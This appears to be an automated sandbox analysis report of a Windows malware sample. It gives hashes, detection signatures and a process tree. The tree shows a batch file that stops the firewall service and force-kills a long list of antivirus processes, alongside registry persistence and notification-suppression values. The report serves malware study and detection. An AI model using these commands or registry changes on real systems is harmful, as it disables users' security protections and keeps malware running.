Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
09/01/2024, 15:31
Behavioral task
behavioral1
Sample
4eacc64af74d763c8c92fc186adbd787.exe
Resource
win7-20231129-en
General
-
Target
4eacc64af74d763c8c92fc186adbd787.exe
-
Size
1.7MB
-
MD5
4eacc64af74d763c8c92fc186adbd787
-
SHA1
cb219eb356152db3b43422d957cb099c2afe6fbf
-
SHA256
3ca2e31aeba7bdb779ca62f879502752b0e10046ef021b3fc8f4694e01ebacba
-
SHA512
51d83c3291cca99a3a58e3ecc19920d8dcd4b8599488ae051e8cb939621b129eb9de723dfc923c5ccfadc575cb1b3797c81bbd0c9fba6b7fb6f12968bdefa6db
-
SSDEEP
49152:iST/ajtxLsmifr7B5ZbV4d4Dm761UZp8lBW:Q8ZBUGmgUX8i
Malware Config
Signatures
-
Modifies WinLogon for persistence 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "Explorer.exe C:\\Windows\\system32\\fservice.exe" taskkill.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "Explorer.exe C:\\Windows\\system32\\fservice.exe" services.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1" reg.exe -
Adds policy Run key to start application 2 TTPs 4 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run services.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\DirectX For Microsoft® Windows = "C:\\Windows\\system32\\fservice.exe" services.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run taskkill.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\DirectX For Microsoft® Windows = "C:\\Windows\\system32\\fservice.exe" taskkill.exe -
Modifies Installed Components in the registry 2 TTPs 5 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{5Y99AE78-58TT-11dW-BE53-Y67078979Y} taskkill.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{5Y99AE78-58TT-11dW-BE53-Y67078979Y}\ taskkill.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{5Y99AE78-58TT-11dW-BE53-Y67078979Y}\StubPath = "C:\\Windows\\system\\sservice.exe" taskkill.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{5Y99AE78-58TT-11dW-BE53-Y67078979Y}\ services.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{5Y99AE78-58TT-11dW-BE53-Y67078979Y}\StubPath = "C:\\Windows\\system\\sservice.exe" services.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
pid Process 2836 netsh.exe -
Sets file to hidden 1 TTPs 2 IoCs
Modifies file attributes to stop it showing in Explorer etc.
pid Process 2260 attrib.exe 2536 attrib.exe -
Executes dropped EXE 4 IoCs
pid Process 2660 aklremover.exe 2792 taskkill.exe 2632 taskkill.exe 2948 services.exe -
Identifies Wine through registry keys 2 TTPs 1 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Wine 4eacc64af74d763c8c92fc186adbd787.exe -
Loads dropped DLL 13 IoCs
pid Process 2784 taskkill.exe 2784 taskkill.exe 2784 taskkill.exe 2784 taskkill.exe 2792 taskkill.exe 2792 taskkill.exe 2948 services.exe 2948 services.exe 2632 taskkill.exe 2792 taskkill.exe 2836 netsh.exe 2864 cmd.exe 2660 aklremover.exe -
resource yara_rule behavioral1/memory/2784-0-0x0000000000400000-0x00000000006A4000-memory.dmp themida behavioral1/memory/2784-5-0x0000000000400000-0x00000000006A4000-memory.dmp themida behavioral1/memory/2792-60-0x0000000003270000-0x000000000346F000-memory.dmp themida behavioral1/memory/2784-40-0x0000000000400000-0x00000000006A4000-memory.dmp themida -
resource yara_rule behavioral1/files/0x000a0000000143ec-38.dat upx behavioral1/memory/2632-66-0x0000000000400000-0x00000000005FF000-memory.dmp upx behavioral1/memory/2792-89-0x0000000000400000-0x00000000005FF000-memory.dmp upx behavioral1/memory/2948-109-0x0000000000400000-0x00000000005FF000-memory.dmp upx behavioral1/memory/2632-84-0x0000000000400000-0x00000000005FF000-memory.dmp upx behavioral1/files/0x00090000000146b8-77.dat upx behavioral1/memory/2948-72-0x0000000000400000-0x00000000005FF000-memory.dmp upx behavioral1/memory/2792-41-0x0000000000400000-0x00000000005FF000-memory.dmp upx behavioral1/memory/2948-130-0x0000000000400000-0x00000000005FF000-memory.dmp upx behavioral1/memory/2948-132-0x0000000000400000-0x00000000005FF000-memory.dmp upx behavioral1/memory/2948-133-0x0000000000400000-0x00000000005FF000-memory.dmp upx behavioral1/memory/2948-134-0x0000000000400000-0x00000000005FF000-memory.dmp upx behavioral1/memory/2948-135-0x0000000000400000-0x00000000005FF000-memory.dmp upx behavioral1/memory/2948-136-0x0000000000400000-0x00000000005FF000-memory.dmp upx behavioral1/memory/2948-137-0x0000000000400000-0x00000000005FF000-memory.dmp upx behavioral1/memory/2948-138-0x0000000000400000-0x00000000005FF000-memory.dmp upx behavioral1/memory/2948-139-0x0000000000400000-0x00000000005FF000-memory.dmp upx behavioral1/memory/2948-140-0x0000000000400000-0x00000000005FF000-memory.dmp upx behavioral1/memory/2948-141-0x0000000000400000-0x00000000005FF000-memory.dmp upx behavioral1/memory/2948-142-0x0000000000400000-0x00000000005FF000-memory.dmp upx behavioral1/memory/2948-143-0x0000000000400000-0x00000000005FF000-memory.dmp upx -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\kill = "c:\\windows\\server.exe" taskkill.exe -
Modifies WinLogon 2 TTPs 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\ services.exe -
Drops file in System32 directory 7 IoCs
description ioc Process File created C:\Windows\SysWOW64\fservice.exe taskkill.exe File opened for modification C:\Windows\SysWOW64\fservice.exe taskkill.exe File created C:\Windows\SysWOW64\fservice.exe taskkill.exe File opened for modification C:\Windows\SysWOW64\fservice.exe taskkill.exe File created C:\Windows\SysWOW64\winkey.dll services.exe File created C:\Windows\SysWOW64\reginv.dll services.exe File created C:\Windows\SysWOW64\fservice.exe services.exe -
Drops file in Windows directory 8 IoCs
description ioc Process File created C:\Windows\system\sservice.exe taskkill.exe File opened for modification C:\Windows\system\sservice.exe taskkill.exe File created C:\Windows\services.exe taskkill.exe File opened for modification C:\Windows\services.exe taskkill.exe File created C:\Windows\system\sservice.exe taskkill.exe File opened for modification C:\Windows\system\sservice.exe taskkill.exe File created C:\Windows\system\sservice.exe services.exe File opened for modification C:\Windows\system\sservice.exe services.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Kills process with taskkill 64 IoCs
pid Process 2316 taskkill.exe 2652 taskkill.exe 2372 taskkill.exe 2604 taskkill.exe 2064 taskkill.exe 2684 taskkill.exe 2588 taskkill.exe 1956 taskkill.exe 2856 taskkill.exe 1848 taskkill.exe 2340 taskkill.exe 2684 taskkill.exe 788 taskkill.exe 1940 taskkill.exe 2616 taskkill.exe 2152 taskkill.exe 784 taskkill.exe 972 taskkill.exe 2844 taskkill.exe 384 taskkill.exe 2924 taskkill.exe 2956 taskkill.exe 2988 taskkill.exe 2196 taskkill.exe 2816 taskkill.exe 2076 taskkill.exe 1560 taskkill.exe 2472 taskkill.exe 2448 taskkill.exe 2692 taskkill.exe 472 taskkill.exe 1884 taskkill.exe 1464 taskkill.exe 1172 taskkill.exe 3032 taskkill.exe 2384 taskkill.exe 2960 taskkill.exe 1272 taskkill.exe 1256 taskkill.exe 1464 taskkill.exe 2312 taskkill.exe 2168 taskkill.exe 1592 taskkill.exe 2000 taskkill.exe 572 taskkill.exe 2940 taskkill.exe 2928 taskkill.exe 2992 taskkill.exe 2980 taskkill.exe 936 taskkill.exe 788 taskkill.exe 1800 taskkill.exe 2816 taskkill.exe 1772 taskkill.exe 1192 taskkill.exe 480 taskkill.exe 968 taskkill.exe 2156 taskkill.exe 2208 taskkill.exe 2648 taskkill.exe 2572 taskkill.exe 2832 taskkill.exe 2848 taskkill.exe 2980 taskkill.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 2748 reg.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2784 4eacc64af74d763c8c92fc186adbd787.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe 2948 services.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2980 taskkill.exe Token: SeDebugPrivilege 1256 taskkill.exe Token: SeDebugPrivilege 1824 taskkill.exe Token: SeDebugPrivilege 2088 taskkill.exe Token: SeDebugPrivilege 2852 taskkill.exe Token: SeDebugPrivilege 2884 taskkill.exe Token: SeDebugPrivilege 1208 taskkill.exe Token: SeDebugPrivilege 636 taskkill.exe Token: SeDebugPrivilege 568 taskkill.exe Token: SeDebugPrivilege 788 taskkill.exe Token: SeDebugPrivilege 384 taskkill.exe Token: SeDebugPrivilege 1268 taskkill.exe Token: SeDebugPrivilege 1936 taskkill.exe Token: SeDebugPrivilege 840 taskkill.exe Token: SeDebugPrivilege 1560 taskkill.exe Token: SeDebugPrivilege 1864 taskkill.exe Token: SeDebugPrivilege 1872 taskkill.exe Token: SeDebugPrivilege 1536 taskkill.exe Token: SeDebugPrivilege 900 taskkill.exe Token: SeDebugPrivilege 1176 taskkill.exe Token: SeDebugPrivilege 2888 taskkill.exe Token: SeDebugPrivilege 1452 taskkill.exe Token: SeDebugPrivilege 2280 taskkill.exe Token: SeDebugPrivilege 2544 taskkill.exe Token: SeDebugPrivilege 1916 taskkill.exe Token: SeDebugPrivilege 1608 taskkill.exe Token: SeDebugPrivilege 1600 taskkill.exe Token: SeDebugPrivilege 2244 taskkill.exe Token: SeDebugPrivilege 2616 taskkill.exe Token: SeDebugPrivilege 2620 taskkill.exe Token: SeDebugPrivilege 2740 taskkill.exe Token: SeDebugPrivilege 2844 taskkill.exe Token: SeDebugPrivilege 2924 taskkill.exe Token: SeDebugPrivilege 2992 taskkill.exe Token: SeDebugPrivilege 2984 taskkill.exe Token: SeDebugPrivilege 2196 taskkill.exe Token: SeDebugPrivilege 2492 taskkill.exe Token: SeDebugPrivilege 1908 taskkill.exe Token: SeDebugPrivilege 2476 taskkill.exe Token: SeDebugPrivilege 936 taskkill.exe Token: SeDebugPrivilege 2676 taskkill.exe Token: SeDebugPrivilege 1984 taskkill.exe Token: SeDebugPrivilege 800 taskkill.exe Token: SeDebugPrivilege 2820 taskkill.exe Token: SeDebugPrivilege 2816 taskkill.exe Token: SeDebugPrivilege 3060 net1.exe Token: SeDebugPrivilege 852 taskkill.exe Token: SeDebugPrivilege 2512 taskkill.exe Token: SeDebugPrivilege 1956 taskkill.exe Token: SeDebugPrivilege 2412 taskkill.exe Token: SeDebugPrivilege 1256 taskkill.exe Token: SeDebugPrivilege 1824 taskkill.exe Token: SeDebugPrivilege 2088 taskkill.exe Token: SeDebugPrivilege 2852 taskkill.exe Token: SeDebugPrivilege 2884 taskkill.exe Token: SeDebugPrivilege 1208 taskkill.exe Token: SeDebugPrivilege 636 taskkill.exe Token: SeDebugPrivilege 568 taskkill.exe Token: SeDebugPrivilege 788 taskkill.exe Token: SeDebugPrivilege 384 taskkill.exe Token: SeDebugPrivilege 1776 taskkill.exe Token: SeDebugPrivilege 2304 taskkill.exe Token: SeDebugPrivilege 1664 taskkill.exe Token: SeDebugPrivilege 1800 taskkill.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2784 4eacc64af74d763c8c92fc186adbd787.exe 2948 services.exe 2948 services.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2784 wrote to memory of 2660 2784 taskkill.exe 28 PID 2784 wrote to memory of 2660 2784 taskkill.exe 28 PID 2784 wrote to memory of 2660 2784 taskkill.exe 28 PID 2784 wrote to memory of 2660 2784 taskkill.exe 28 PID 2784 wrote to memory of 2864 2784 taskkill.exe 29 PID 2784 wrote to memory of 2864 2784 taskkill.exe 29 PID 2784 wrote to memory of 2864 2784 taskkill.exe 29 PID 2784 wrote to memory of 2864 2784 taskkill.exe 29 PID 2784 wrote to memory of 2792 2784 taskkill.exe 140 PID 2784 wrote to memory of 2792 2784 taskkill.exe 140 PID 2784 wrote to memory of 2792 2784 taskkill.exe 140 PID 2784 wrote to memory of 2792 2784 taskkill.exe 140 PID 2792 wrote to memory of 2632 2792 taskkill.exe 200 PID 2792 wrote to memory of 2632 2792 taskkill.exe 200 PID 2792 wrote to memory of 2632 2792 taskkill.exe 200 PID 2792 wrote to memory of 2632 2792 taskkill.exe 200 PID 2864 wrote to memory of 2536 2864 cmd.exe 572 PID 2864 wrote to memory of 2536 2864 cmd.exe 572 PID 2864 wrote to memory of 2536 2864 cmd.exe 572 PID 2864 wrote to memory of 2536 2864 cmd.exe 572 PID 2864 wrote to memory of 2836 2864 cmd.exe 571 PID 2864 wrote to memory of 2836 2864 cmd.exe 571 PID 2864 wrote to memory of 2836 2864 cmd.exe 571 PID 2864 wrote to memory of 2836 2864 cmd.exe 571 PID 2632 wrote to memory of 2948 2632 taskkill.exe 570 PID 2632 wrote to memory of 2948 2632 taskkill.exe 570 PID 2632 wrote to memory of 2948 2632 taskkill.exe 570 PID 2632 wrote to memory of 2948 2632 taskkill.exe 570 PID 2948 wrote to memory of 2528 2948 services.exe 569 PID 2948 wrote to memory of 2528 2948 services.exe 569 PID 2948 wrote to memory of 2528 2948 services.exe 569 PID 2948 wrote to memory of 2528 2948 services.exe 569 PID 2948 wrote to memory of 2720 2948 services.exe 35 PID 2948 wrote to memory of 2720 2948 services.exe 35 PID 2948 wrote to memory of 2720 2948 services.exe 35 PID 2948 wrote to memory of 2720 2948 services.exe 35 PID 2792 wrote to memory of 2692 2792 taskkill.exe 568 PID 2792 wrote to memory of 2692 2792 taskkill.exe 568 PID 2792 wrote to memory of 2692 2792 taskkill.exe 568 PID 2792 wrote to memory of 2692 2792 taskkill.exe 568 PID 2528 wrote to memory of 2008 2528 NET.exe 567 PID 2528 wrote to memory of 2008 2528 NET.exe 567 PID 2528 wrote to memory of 2008 2528 NET.exe 567 PID 2528 wrote to memory of 2008 2528 NET.exe 567 PID 2720 wrote to memory of 940 2720 NET.exe 566 PID 2720 wrote to memory of 940 2720 NET.exe 566 PID 2720 wrote to memory of 940 2720 NET.exe 566 PID 2720 wrote to memory of 940 2720 NET.exe 566 PID 2864 wrote to memory of 1848 2864 cmd.exe 201 PID 2864 wrote to memory of 1848 2864 cmd.exe 201 PID 2864 wrote to memory of 1848 2864 cmd.exe 201 PID 2864 wrote to memory of 1848 2864 cmd.exe 201 PID 1848 wrote to memory of 3060 1848 taskkill.exe 565 PID 1848 wrote to memory of 3060 1848 taskkill.exe 565 PID 1848 wrote to memory of 3060 1848 taskkill.exe 565 PID 1848 wrote to memory of 3060 1848 taskkill.exe 565 PID 2864 wrote to memory of 2680 2864 cmd.exe 564 PID 2864 wrote to memory of 2680 2864 cmd.exe 564 PID 2864 wrote to memory of 2680 2864 cmd.exe 564 PID 2864 wrote to memory of 2680 2864 cmd.exe 564 PID 2864 wrote to memory of 2960 2864 cmd.exe 563 PID 2864 wrote to memory of 2960 2864 cmd.exe 563 PID 2864 wrote to memory of 2960 2864 cmd.exe 563 PID 2864 wrote to memory of 2960 2864 cmd.exe 563 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 2260 attrib.exe 2536 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\4eacc64af74d763c8c92fc186adbd787.exe"C:\Users\Admin\AppData\Local\Temp\4eacc64af74d763c8c92fc186adbd787.exe"1⤵
- Identifies Wine through registry keys
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2784 -
C:\Users\Admin\AppData\Local\Temp\aklremover.exe"C:\Users\Admin\AppData\Local\Temp\aklremover.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2660
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\av kill.bat" "2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2864 -
C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵PID:1848
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im nod32krn.exe3⤵
- Kills process with taskkill
PID:2980
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im nod32.exe3⤵PID:1256
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im avgemc.exe3⤵PID:2088
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im avgamsvr.exe3⤵PID:2884
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im avgw.exe3⤵PID:636
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im ashwebsv.exe3⤵PID:568
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im ashdisp.exe3⤵PID:788
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im ashwebsv.exe3⤵PID:1936
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im guard.exe3⤵PID:1864
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im msmpeng.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1536
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im mghml.exe3⤵PID:1176
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im msiexec.exe3⤵PID:2888
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im isafe.exe3⤵PID:2280
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im minilog.exe3⤵PID:2544
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im zlclient.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1608
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im ccapp.exe3⤵PID:2244
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im norton.exe3⤵PID:2620
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im navapsvc.exe3⤵PID:2740
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im cccproxy.exe3⤵
- Kills process with taskkill
PID:2924
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im ccevtmgr.exe3⤵PID:2984
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im logexprt.exe3⤵PID:2492
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im nisum.exe3⤵PID:1908
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im issvc.exe3⤵PID:2476
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im cpdclnt.exe3⤵
- Kills process with taskkill
PID:936
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im pavprot.exe3⤵PID:1984
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im apvxdwin.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2820
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im avguard.exe3⤵PID:3060
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im shed.exe3⤵PID:2512
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im sccomm.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2412
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im sgmain.exe3⤵PID:1824
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im kpf4gui.exe3⤵PID:2852
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im mcdash.exe3⤵PID:1208
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im mcinfo.exe3⤵PID:788
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im oasclnt.exe3⤵PID:1776
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im mpfconsole.exe3⤵PID:1664
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im mpftray.exe3⤵PID:1876
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im mvtx.exe3⤵PID:2004
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im _avpcc.exe3⤵PID:2388
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im ackwin32.exe3⤵PID:2364
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im agentsvr.exe3⤵PID:884
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im ahnsd.exe3⤵PID:2288
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im amon.exe3⤵PID:2584
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im antivirus.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2924
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im antssircam.exe3⤵PID:2984
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im aplica32.exe3⤵PID:2492
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im atcon.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2476
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im ats.exe3⤵PID:2676
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im atupdater.exe3⤵PID:940
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im atwatch.exe3⤵PID:2440
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im autodown.exe3⤵PID:2712
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im autoupdate.exe3⤵PID:2936
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im ave32.exe3⤵PID:2184
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im avgctrl.exe3⤵PID:2396
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im avgserv.exe3⤵PID:1108
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im avgserv9schedapp.exe3⤵PID:692
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im avkpop.exe3⤵PID:576
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im avkservice.exe3⤵PID:1904
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im avkwctl9.exe3⤵PID:3012
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im avp.exe3⤵PID:1936
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im avp32.exe3⤵PID:840
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im avpccavpm.exe3⤵PID:2880
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im avpdos32.exe3⤵PID:472
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im avpinst.exe3⤵PID:2368
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im avpmonitor.exe3⤵
- Kills process with taskkill
PID:1772
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im avptc32.exe3⤵
- Kills process with taskkill
PID:2152
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im avrescue.exe3⤵PID:2736
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im avsynmgr.exe3⤵PID:2764
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im avwinnt.exe3⤵PID:2496
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im avwupd32.exe3⤵
- Kills process with taskkill
PID:2648
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im avxinit.exe3⤵PID:3024
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im avxmonitor9x.exe3⤵PID:2448
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im avxquar.exe3⤵PID:2956
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im avxw.exe3⤵PID:2792
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im BACKLOG.exe3⤵PID:2156
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im bd_professional.exe3⤵PID:2520
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im bidserver.exe3⤵PID:2968
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im bisp.exe3⤵PID:2464
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im blackd.exe3⤵PID:2068
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im blackiceblackd.exe3⤵PID:2328
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im BootWarn.exe3⤵PID:2400
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im bs120.exe3⤵PID:480
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im bullguard.exe3⤵PID:752
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im ccevtmgr.exe3⤵PID:1652
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im ccPwdSrc.exe3⤵PID:2352
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im ccSetMgr.exe3⤵PID:1476
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im cdp.exe3⤵PID:2300
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im cfiadmin.exe3⤵PID:1540
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im cfinet.exe3⤵PID:1988
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im claw95.exe3⤵PID:1060
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im clean.exe3⤵PID:1960
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im cleaner.exe3⤵PID:1672
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im cleanpc.exe3⤵PID:948
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im cmon016.exe3⤵PID:1668
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im connectionmonitor.exe3⤵PID:2416
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im cpf9x206.exe3⤵PID:2468
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im defalert.exe3⤵PID:2584
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im defence.exe3⤵PID:2516
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im defense.exe3⤵PID:2508
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im defwatch.exe3⤵PID:2848
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im doors.exe3⤵PID:2536
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im drwatson.exe3⤵PID:1836
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im dvp95_0.exe3⤵
- Modifies WinLogon for persistence
- Adds policy Run key to start application
- Modifies Installed Components in the registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2792 -
C:\Windows\SysWOW64\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\server_mail.exe.bat4⤵PID:2692
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im edisk.exe3⤵PID:2520
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im efpeadm.exe3⤵PID:1656
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im escanh95.exe3⤵
- Kills process with taskkill
PID:1192
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im espwatch.exe3⤵PID:2912
-
-
